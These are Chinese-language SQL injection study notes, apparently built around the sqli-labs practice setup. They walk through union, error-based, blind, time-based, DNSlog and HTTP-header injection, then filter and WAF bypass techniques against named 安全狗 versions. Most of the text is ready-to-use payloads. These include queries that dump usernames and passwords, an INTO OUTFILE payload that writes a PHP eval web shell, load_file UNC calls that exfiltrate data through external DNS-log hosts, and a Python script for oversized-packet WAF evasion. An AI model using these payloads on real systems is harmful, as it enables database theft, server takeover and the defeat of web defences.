SQL注入
查询语句
SELECT 列名 from 表名;
SELECT * from 表名;*表示将表的数据全部输出
SELECT * from 表名 WHERE id=6(数字型)
SELECT * from 表名 WHERE id='6'(字符型)
union查询,使用union将两个查询语句连接起来(前后必须列数一致)
注入流程
1、判断注入点
2、判断是字符型还是数字型
做减法,id=2-1,数字型会计算(页面改变),字符型不会运算(页面不变);
3、判断闭合方式
可能的方式:
单引号,双引号,单引号+右括号,单引号+两个右括号
在其后加and 1=1或者and 1=2来判断闭合是否成功。
根据报错,看闭合方式,进行判断。
使用--+将后面的代码注释掉,从而不报错。
4、判断前面查询列数
根据前面的列数,保证自己后面构造的语句可以执行。
5、查询回显位
写一样列数的数字。
web网站只会把第一行的数据显示在网页上。将前面的指令转为负数即可。
6、查询库名
7、查询表名
8、查询列名
9、查询数据
函数
database();
查询库名。
group by 4
查询列数。
group_concat()
将多行变成一行,小括号里加想要多行变一行的列名即可。
UNION注入
在information_schema数据库中会有tables和
查询表名
select table_name from information_schema.tables<数据库.表名> where table_schema<存数据库名的列>=database()
这样的语句只能查出一个表名。
使用group_concat()函数。
select group_concat(table_name) from information_schema.tables<数据库.表名> where table_schema<存数据库名的列>=database()
查询列名
select group_concat(column_name)from information_schema.columns<数据库.表名> where table_schema<存数据库名的列>='security' and table_name='user'
报错注入
没有回显位,有报错信息时使用
判断类型
直接尝试闭合来判断。
判断列数
正常使用。
查询库名
将database写错即可。
报错注入可以使用的函数
最常用的三个:
floor报错注入(最难)
floor报错注入完整语句:
?id=0' union select 1,count(*),concat_ws('-',(select concat('~',id,username,';',password) from userlimit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a--+
rand()函数:生成0~1的随机数。rand()*2:生成0~2的随机数。select rand() from users:users表无作用,只是表里面有几列,生成几个随机数。
floor(1.6666)函数:将小数点后的部分舍弃,取整。
select floor(rand()*2) from users:结果只为0或1。
concat_ws(1,2,3)函数:用1将2和3连接起来(1,2,3表示三个参数)
select concat_ws('-',database(),floor(rand()*2)) from users
起别名:as 别名。group by XXX;对XXX分组。
select concat_ws('-',database(),floor(rand()*2)) as benben from users group by benben
count()函数:统计数量。
select count(*),concat_ws('-',database(),floor(rand()*2)) as benben from users group by benben 执行可能报错,#1062 - Duplicate entry 'boke-1' for key '<group_key>'这是正常的报错信息。
要让其始终报错,在rand中加入0即可。之后通过修改concat_ws的第二个参数即可通过报错获取信息。
select count(*),concat_ws('-',database(),floor(rand(0)*2)) as a from information_schema.tables group by a
extractValue()报错注入
包含两个参数,第一个参数:XML文档对象名称。第二个参数:路径。
例如:
select extractvalue(doc,'/book/title') from xml;
selsect extractvalue(doc,concat('~',database())) from xml; 先执行database()函数,然后进行查询,报错会返回数据库名。
注入语句:
?id=100' and 1=extractvalue(1,concat(0x7e,(select database()))) --+
0x7e即波浪号。
?id=2' union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+
具有局限性,一次只能回显32位。
解决办法:使用substring()函数:三个参数。第一个是查询的参数,第二个是从第几个开始,第三个是显示几位。
?id=2' union select 1,2,extractvalue(1,concat(0x7e,(select substring(group_concat(table_name),1,31) from information_schema.tables where table_schema='security')))--+ 通过修改开始的地方多次输出再拼接即可。
updateXml报错注入
updatexml()函数是对数据进行修改,三个参数,第一个是xml文档对象的名称,例如doc,第二个是路径,第三个是替换的数据。
报错原理:输入错误的第二个参数,即更改路径的符号
和extractvalue基本相同,修改第二个参数的内容即可。
盲注
类别:布尔盲注,时间盲注,报错盲注。
页面没有回显时进行盲注。
布尔盲注
web页面只返回真假两种类型,利用页面返回的不同,逐个猜解数据。
判断真假值:(单引号闭合情况下)
?id=1' and 1=1 --+ #真页面 ?id=1' and 1=2 --+ #假页面
ascii()函数:ASCII编码。将查到的字符转化为数字进行判断。
?id=1 and ascii(select database)=2 --+
ascii只能转化一个字符,使用substr()函数控制每次输出一个字符。
?id=1 and ascii(substr((select database()),1,1))=2 --+ #查第一个字符 ?id=1 and ascii(substr((select database()),2,1))=2 --+ #查第二个字符
时间注入
页面只返回一个正常页面,利用页面响应时间不同,逐个猜解。
sleep()函数:参数为休眠时长,以秒为单位,可以为小数。
if(1,2,3)函数:三个参数,第一个参数是判断条件,第二个参数是条件为真时的执行,第三个是条件为假时的执行。
判断能否时间注入:查看页面响应时间,看是否执行指令。
?id=1' and sleep(3) --+
注入语句:
?id=1 and if(ascii(substr(database(),1,1))=115,sleep(0),sleep(3)) --+
SQL注入文件上传
目的:传自己想传的文件或者一句话木马。
使用下面命令来查看是否有读写文件权限。
show variables like '%secure%'
into outfile命令使用环境:服务器上可以写入文件夹的完整路径。
开始和初始流程相同,判断闭合,判断类型。
例如:
?id=1')) union select 1,"<?php @eval($_POST['password']);?>",3 into outfile "D:\\phpstudy_pro\\WWW\ben.php"--+
D那个路径是在WWW下新加一个ben.php文件。
DNSlog注入
算是一个盲注,不过效率会更高。需要有文件读写权限,和文件上传基本绑定,要么都行,要么都不行
手动注入
函数:load_file()
select load_file("C:\\benben.txt");
UNC路径
select load_file("//(select database())ctfstu.com/123/benben.txt");
会先执行select database()
。查出数据库就会变成:
select load_file("//(securityctfstu.com/123/benben.txt");
不用管能不能访问到文件,只需的到前面数据库的信息即可。
需要用的网站:
http://ceye.io 进不去 http://www.dnsiog.cn/ 进不去 https://eyes.sh/dns/ 科学上网
注入:
?id=1' and (select load_file(//(select database()).域名))--+
?id=1' and (select load_file(concat("//",(select database()),".DNS路径/随意文件名")))--+
结果:点击refresh record即可得到数据。
?id=1' and (select load_file(concat("//",(select table_name from information_schema.tables where table_schema=database() limit(0,1)),".DNS路径/随意文件名")))--+
limit函数用于控制输出,0,1表示从第一个开始,显示一个。
自动注入
github下载ADOOO/Dnslogsqlinj
注入指令:
python3 dnslogsql.py -u "http://ip/路径/index.php?id=1' and ({注入的语句放这里}) --+" --dbs 解析库名
python3 dnslogsql.py -u "http://ip/路径/index.php?id=1' and ({注入的语句放这里}) --+" -D '数据库名' --tables 解析表名
python3 dnslogsql.py -u "http://ip/路径/index.php?id=1' and ({注入的语句放这里}) --+" -D '数据库名' -T '表名' --columns 解析列名
python3 dnslogsql.py -u "http://ip/路径/index.php?id=1' and ({注入的语句放这里}) --+" -D '数据库名' -T '表名' -C '列名' --dump 解析数据
POST注入
GET提交的万能密码:id=' or ''='
万能密码
账号:admin‘ or 1=1 #
密码随机输入即可。
除了提交方式不同,union注入,报错注入,盲注和GET相同。
HTTP头uagent注入
万能密码无法绕过验证,用户名无法注入。含有User-Angent。
使用BP抓包,修改User-Agent。一般为报错注入。
User-Agent:1' or updataxml(1,concat(~,(select database())),3),2,3) #
后面修改concat的第二个参数即可。
User-Agent:' or updataxml(1,concat(~,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3),2,3) #
User-Agent:' or updataxml(1,concat(~,(select group_concat(colimn_name) from information_schema.columns where table_schema=database() and table_name='users')),3),2,3) #
User-Agent:' or updataxml(1,concat(~,(select concat(username,';',password) from users limit 0,1)),3),2,3) #
HTTP头Referer注入
在Referer进行注入。
Referer:' or extractvalue(1,concat('#',(select database())),2) #
Referer:' or extractvalue(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema=database()),2) #
Referer:' or extractvalue(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),2) #
Referer:' or extractvalue(1,concat('#',(select concat(username,';',password) from users limit 0,1)),2) #
HTTP头cookie注入
Cookie:uname=admin' order by 3#
后续和union注入流程相同
常见过滤及绕过手法
注释符号过滤
无法得知有什么过滤,需要类似搭积木一样一点一点增加复杂度。
--,#,%23都被过滤。绕过方法:
手动多加一个单引号,把后面的源代码用单引号闭合起来,从而不用注释:
?id=1' and 1=1' ?id=1' and '1'='1 ?id=1' union select 1,2,3 and 1=1'
如果是数字型不需要考虑闭合。
判断字符型还是数字型:
?id=1 and 1=1 #正常页面 ?id=1 and 1=2 #报错,数字型 ?id=-1 union select 1,2,3 #不需要注释符号即可注入
使用or或者and绕过
?id=1'order by 4 or '1'='1 ?id=1'order by 4 and '1'='1 ?id=-1' union select 1,(select database()),3 and '1'='1
and和or的过滤
-
大小写过滤
?id=1' anD 1=1--+
-
复写过滤的字符(双写绕过)
?id=1' anandd 1=1--+
-
用&&取代and,用||代替or
空格过滤
-
用加号代替空格
-
用url编码:%20,%09,%0A(换行符),%0C,%0D,%0B,%A0等。
-
使用报错注入:
?id=1000'||extractvalue(1,concat('$',(database())))||'1'='1 select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()) 多用括号已达到不用空格的效果
limit替换函数
mid()和substr()用法相同:
?id=1'||extractvalue(1,concat('$',(select(mid(group_concat(username,';',password),1,30))from(users))))||'1'='1
显示前30个字符
逗号过滤join绕过
?id=-1 union select 1,2,3 --+ 替换为,在相对应回显的地方修改自己为自己想查的东西 ?id=-1 union select * from (select 1)a JOIN (select 2)b JOIN (select 3)c --+
JOIN的作用是将表内联起来。
union和select过滤
-
在单词之间插入注释符号
un/**/ion
-
大小写
-
双写绕过
宽字节绕过
addslashes()函数,输入闭合符‘时,在’前加\变为没有功能性的字符,导致无法闭合。
当前数据库必须为GBKB编码,否则不能使用。
输入%df,\的URL编码是%5c,组成%df%5c,根据GBKB编码变成了一个汉字,是的\失去作用。
?id=1%df' --+
WAF绕过
测试WAF试要一点一点的写注入语句,不要一次性写完,从而更好的判断如何被过滤的。
WAF绕过常用方法
-
注释
1、使用/*语句*/,其中的语句不会被执行。
2、使用/*!语句*/,虽然被注释,但是其中的语句仍然会被执行。
3、加版本号,/*!50000语句*/,50000代表5.00.00版本,代表5.00.00版本以上的会执行语句,以下的不会执行
-
空白符
-
特殊符号
-
编码
-
替换
安全狗4.0.26550绕过思路
判断类型用减法或者使用异或
判断列数用group by。
绕过union select
使用union /*!90000benben*/ select
此版本绕过
?id=1' union /*!90000b*/ select 1,2,group_concat(table_name) /*!90000b*/ from information_schema.tables where table_schema=database(/*!90000b*/)--+
安全狗3.5.12048绕过
绕过union select
?id=-1' union --+b%0A select 1,2,3 --+
相当于:
?id=-1' union --+b select 1,2,3 --+
information_schema被过滤
替换为其他两张具有相同功能的表,如图。
information_schema替换为 sys.schema_table_statistics_with_buffer sys.x$ps_schema_table_statistics_io
绕过join无列名报错注入
join报错注入拿列名语句:
?id=1' union --+b%0A select * from (select * from users as a join users as b using(id,username,password))c --+ 相当于查询两次,就会有相同的列,报错会显示相同的列,将报错出来的列放进using,就会跳过此列,报错出下一个列。从而获取到列名。
获取数据:
?id=?id=-1' union --+b%0A select 1,2,group_concat(username,password) --+b%0A from users --+
超大数据包绕过
只能在POST提交里面用。
使用Python脚本做测试:
import requests url = '放入URL' data = "id=-1' /**/ union select 1,2,3 --+" headers = { 'Host':'','User-Agent': '','Accept':'','Accept-Language':'','Accept-Encoding':'','DNT':'','Connection':'','Cookie':'','Upgrade-Insecure-Requests':'','Content-Type':'','Content-Length':'', } for i in range(1,1000):m = '/*' + str('benben') * i + '*/'#print(m)data = "id=1" + m + "union select 1,2,database() --+"res = requests.post(url,headers=headers,data=data).textif 'qt-block-indent:0; text-indent' not in res:#单引号中的数据是触发安全狗后响应包内的特有的数据print('[+] current userful payload length:',i)breakelse:print ('{} not userful'.format(i))
最终使用超大数据包去绕过。即安全狗不会在检测此数据。
分块传输绕过WAF(安全狗4.0.23137)
POST提交绕过WAF的一种方式。
将Transfer-Encoding:Chunked
写在请求头的头部
将字段拆开: 1 字符长度 i 字符 2 字符长度 d= 字符 1 字符长度 2 字符 0 输入结束,下面必须留两个空格。
通过这样的方法打乱所有的敏感单词,从而绕过WAF。